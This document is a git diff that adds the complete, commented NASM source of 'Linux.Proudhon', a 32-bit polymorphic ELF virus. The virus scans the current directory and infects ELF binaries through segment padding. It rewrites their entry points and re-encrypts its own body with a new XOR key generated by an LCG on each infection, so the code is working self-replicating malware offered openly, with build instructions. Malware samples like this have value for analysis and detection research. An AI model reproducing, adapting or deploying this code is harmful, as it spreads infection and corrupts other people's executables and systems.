diff --git a/Linux.Proudhon.i386.asm b/Linux.Proudhon.i386.asm new file mode 100644 index 0000000..85ff43a --- /dev/null +++ b/Linux.Proudhon.i386.asm @@ -0,0 +1,395 @@ +;#################################### +;## A 32 bit Polymorphic ELF virus ## +;## By S01den ## +;#################################### + +; .____ .__ ________ ________ __________ .___.__ +; | | |__| ____ \_____ \ \_____ \ \______ \_______ ____ __ __ __| _/| |__ ____ ____ +; | | | |/ \ _(__ < / ____/ | ___/\_ __ \/ _ \| | \/ __ | | | \ / _ \ / \ +; | |___| | | \/ \/ \ | | | | \( <_> ) | / /_/ | | Y ( <_> ) | \ +; |_______ \__|___| /______ /\_______ \ /\ |____| |__| \____/|____/\____ | |___| /\____/|___| / +; \/ \/ \/ \/ \/ \/ \/ \/ + +; Infection through segment padding infection + polymorphism. Made with love by S01den +; Can only infect binary with an executable stack, because polymorphism routine operates on the stakc... +; The encryption is just a simple xor, with a random key generated with a Linear Congruential Generator (LCG) for every new infection. + +;#################################### USEFUL LINKS #################################### +;# http://ivanlef0u.fr/repo/madchat/vxdevl/vxsrc/Linux/Linux.Cyneox/Linux.Cyneox.asm # +;# http://ivanlef0u.fr/repo/madchat/vxdevl/vxsrc/Linux/Linux.Binom/Linux.Binom.asm # +;# http://shell-storm.org/shellcode/files/syscalls.html # +;###################################################################################### + +;nasm -f elf32 proudhon.asm && ld -m elf_i386 proudhon.o -o proudhon + +;---------------------------------- CUT HERE ---------------------------------- + +; thoses variables concern the virus body, not the decipher loop + +%define VIRSIZE 803 +%define SIZE_DECIPHER 0x35 +%define DELTA_CODE 0x2f1 +%define RET_OEP VIRSIZE+SIZE_DECIPHER+3 + +; variables for the linear congruential generator (to generate a random key) +; same as C++11's minstd_rand + +%define a_lcg 48271 +%define modulus_lcg 0x7fffffff + +section .text +global _start + +_start: + +mov ecx, VIRSIZE +add ecx, 0x3f ; SIZE_DECIPHER+9 +loop: + call get_eip + sub eax, 0xd + mov esi, eax + mov al, byte [esi+ecx-1] + cmp ecx, 0x352 ; because the code to jump into the OEP have to be plain + jae set_byte + cmp ecx, SIZE_DECIPHER ; because this routine and get_eip have to be plain + jbe set_byte + xor al ,0x00 + set_byte: + mov byte [esp+ecx-1], al + dec ecx + jnz loop + add esp, SIZE_DECIPHER + jmp esp + +get_eip: + mov eax, [esp] + ret + +vx: +add esp, VIRSIZE +add esp, SIZE_DECIPHER +xor eax, eax +xor ebx, ebx +xor ecx, ecx +xor edx, edx + +mov edx, VIRSIZE +push edx ; push the len of the virus on the stack +add esp, 0x20 + +getFiles: + mov eax,183 ; pwd + mov ebx,esp + mov ecx,128 + int 0x80 + + mov eax, 5 ; open + mov ecx, 0 + mov edx, 0 + int 0x80 + + cmp eax, 0 + jl exit + + mov ebx, eax ; getdents + mov eax, 141 + mov edx, 1024 + + push esp + mov ecx, [esp] ; a little trick to save a spot on the stack + + int 0x80 + + mov eax, 6 ; close + int 0x80 + + mov esp, ecx + xor edi, edi + xor ecx, ecx + xor ebx, ebx + mov esi, edx + xor edx, edx + +parse_dir: ; a dump trick to get filenames from the previous getdents + inc esp + xor eax, eax + cmp byte [esp], 0x00 + jne not_zero + cmp ecx, 2 ; if there are more than two successive printable bytes followed by a null byte, we consider the string a filename + ja infect ; so we try to infect it. + + not_zero: + mov bl, byte [esp] + cmp bl, 0x20 ; check if the byte is printable + jbe not_filename + cmp bl, 0x7e + jae not_filename + inc ecx + + keep_parsing: + inc edi + cmp edi, 0x150 + jae exit + jmp parse_dir + + not_filename: + xor ebx, ebx + xor ecx, ecx + jmp keep_parsing + +infect: + mov ebx, ecx + sub esp, ecx + + setFileName: + mov eax, 5 ; open + mov ebx, esp + push ebp + mov ebp, ecx + mov ecx, 2 ; O_RW + xor edx, edx + int 0x80 + cmp eax, 0 + jl restore_esp + + push eax + push eax + + stat: + ; to get the length of the file to infect + mov eax,106 ; SYS_STAT + sub esp,64 + mov ecx,esp + int 0x80 + + mov edx,[esp+20] ; edx = len of file to infect + add esp,64 + + pop ebx + push edx + add esp, 0x400 + mov eax, 3 ; read + mov ecx, esp ; the stack now contains the whole content of the file we try to infect + int 0x80 + + cmp eax, 0 + jl parse_dir + + parse_file: + push edx + push edx + push edx + add esp, 0xc + get_magic: + cmp dword [esp], 0x464c457f ; check if the file is an ELF + je get_signature + sub esp, 0x3f4 + call close + call clean + jmp parse_dir + + get_signature: + xor ecx, ecx + mov cx, word [esp+0x18] ; get e_phnum "Contains the number of entries in the program header table. " + mov eax, dword [esp+0x1C] ; get e_phoff "Points to the start of the program header table." (which contains the segments infos) + + ; for segment padding infection, we look at the space between the text and the data segment + mov ecx,[esp+eax+0x20*3+8] ; get data vaddr + mov ebx,[esp+eax+0x20*2+16] ; get text size + mov eax,[esp+eax+0x20*2+8] ; get text vaddr + add ebx, eax ; ebx = text.vaddr+text.filesz + sub ecx,ebx ; data.p_vaddr - (text.p_filesz + text.p_vaddr) + + mov eax,VIRSIZE + cmp eax, ecx + ja no_room + + mov eax,[esp+0x18] ;get entry point + push eax + + add ebx, 15 + mov eax, dword [esp+0x1C+4] + mov eax,[esp+eax+0x20*2+8+4] + mov [esp+0x18+4], ebx ; write the new EP (new entrypoint = text.p_filesz + text.p_vaddr) + sub ebx, eax ; get the offset of the new EP + mov eax, ebx + push eax + + add esp, eax + mov esi, eax + cmp dword [esp+7], 0x323b900 ; check if the bytes at the entry point are the same as in every file infected (0x323b900 = mov ecx,VIRSIZE). It's kind of a signature. + je already_infected + + ; we put on the stack the code to return to the OEP + mov byte [esp], 0xbd ; - + sub esp, eax ; | - Get the OEP from the stack and put it into ECX + pop ebx ; | | + pop ecx ; | | + push ebx ; | | + add esp, eax ; | | + sub esp, 4 ; | - + mov [esp+1], ecx ; - mov ebp, OEP + mov word [esp+5],0xe5ff ; jmp ebp + + writeVirus: + ;####### insert the code to restore the OEP ####### + xor edx, edx + mov ebx, 3 + mov ecx, eax + mov eax, RET_OEP + add ecx, eax + mov eax, 19 ; lseek + int 0x80 + + mov ecx, esp + mov eax, 4 ; write + mov edx, 7 + int 0x80 + + ;####### write the new EP ####### + xor edx, edx + mov ecx, 0x18 + mov eax, 19 + int 0x80 + + add esp, 8 + sub esp, esi + mov ecx, esp + add ecx, 0x18 + mov edx, 4 + mov eax, 4 + int 0x80 + + ;####### write the virus ####### + mov ebx, 3 + xor edx, edx + mov ecx, esi + mov eax, 19 + int 0x80 + + call get_eip + mov bl, byte [eax-0x1e2] ; get the current key + push eax + xor eax, eax + mov al, bl + + ; Linear Congruential Generator (I use this algorithm because it's an easy way to generate entropy) + lcg: + inc al + inc al + mov ecx, a_lcg + mul eax + xor edx, edx + mov ebx, modulus_lcg + div ebx + + pop eax + mov byte [eax-0x1e2], dl + ; edx now contains the remainder of the operation (X_n+1 = (aX_n+c) % modulus), so edx is the new key + + call clean + + get_decipher: ; get the decipher routine (which contains the new key) + call get_eip + sub eax, 0x236 + mov cl, byte [eax+ebx] + mov byte [esp+ebx], cl + inc ebx + cmp ebx, SIZE_DECIPHER + jne get_decipher + + call clean + jmp getVirus + + write_vx_code: + call clean + + mov bl, byte [esp+0x24] ; get the key + mov edx, VIRSIZE + encrypt: ; encrypt the virus body with the new key + mov cl, byte [esp+SIZE_DECIPHER+eax] + xor ecx, ebx + mov byte [esp+SIZE_DECIPHER+eax], cl + inc eax + cmp eax, edx + jne encrypt + + mov ecx, esp + mov ebx, 3 + mov edx, VIRSIZE + add edx, SIZE_DECIPHER + mov eax, 4 + int 0x80 + + sub eax, SIZE_DECIPHER + cmp eax, VIRSIZE + jb exit + + ok_write: + sub esp, 0x3f0 + call close + call clean + jmp parse_dir + +no_room: + sub esp, 0x3ee ; to go back into the getdents content + call close + call clean + jmp parse_dir + +already_infected: + sub esp, 0xa55 ; to go back into the getdents content + call close + call clean + jmp parse_dir + +exit: + call close + call payload + call clean + call get_eip + add eax, 0x7a ; go to the restore OEP code + jmp eax + +clean: + xor ecx, ecx + xor ebx, ebx + xor eax, eax + xor edx, edx + ret + +close: + mov eax, 6 + int 0x80 + ret + +payload: ; just print a "hey" + push 0 + push 0x796568 + mov ecx, esp + mov eax, 4 + mov ebx, 1 + mov edx, 4 + int 0x80 + pop ecx + pop edx + call clean + ret + +restore_esp: + add esp, ebp + pop ebp + jmp parse_dir + +getVirus: ; a simple method I found which permits to get the whole virus code thanks to the current EIP + call get_eip + sub eax, DELTA_CODE + mov cl, byte [eax+ebx] + mov byte [esp+SIZE_DECIPHER+ebx], cl + inc ebx + cmp ebx, VIRSIZE + jne getVirus + call clean + jmp write_vx_code + +;--------------------------------------------------------------------------------------------------------------------------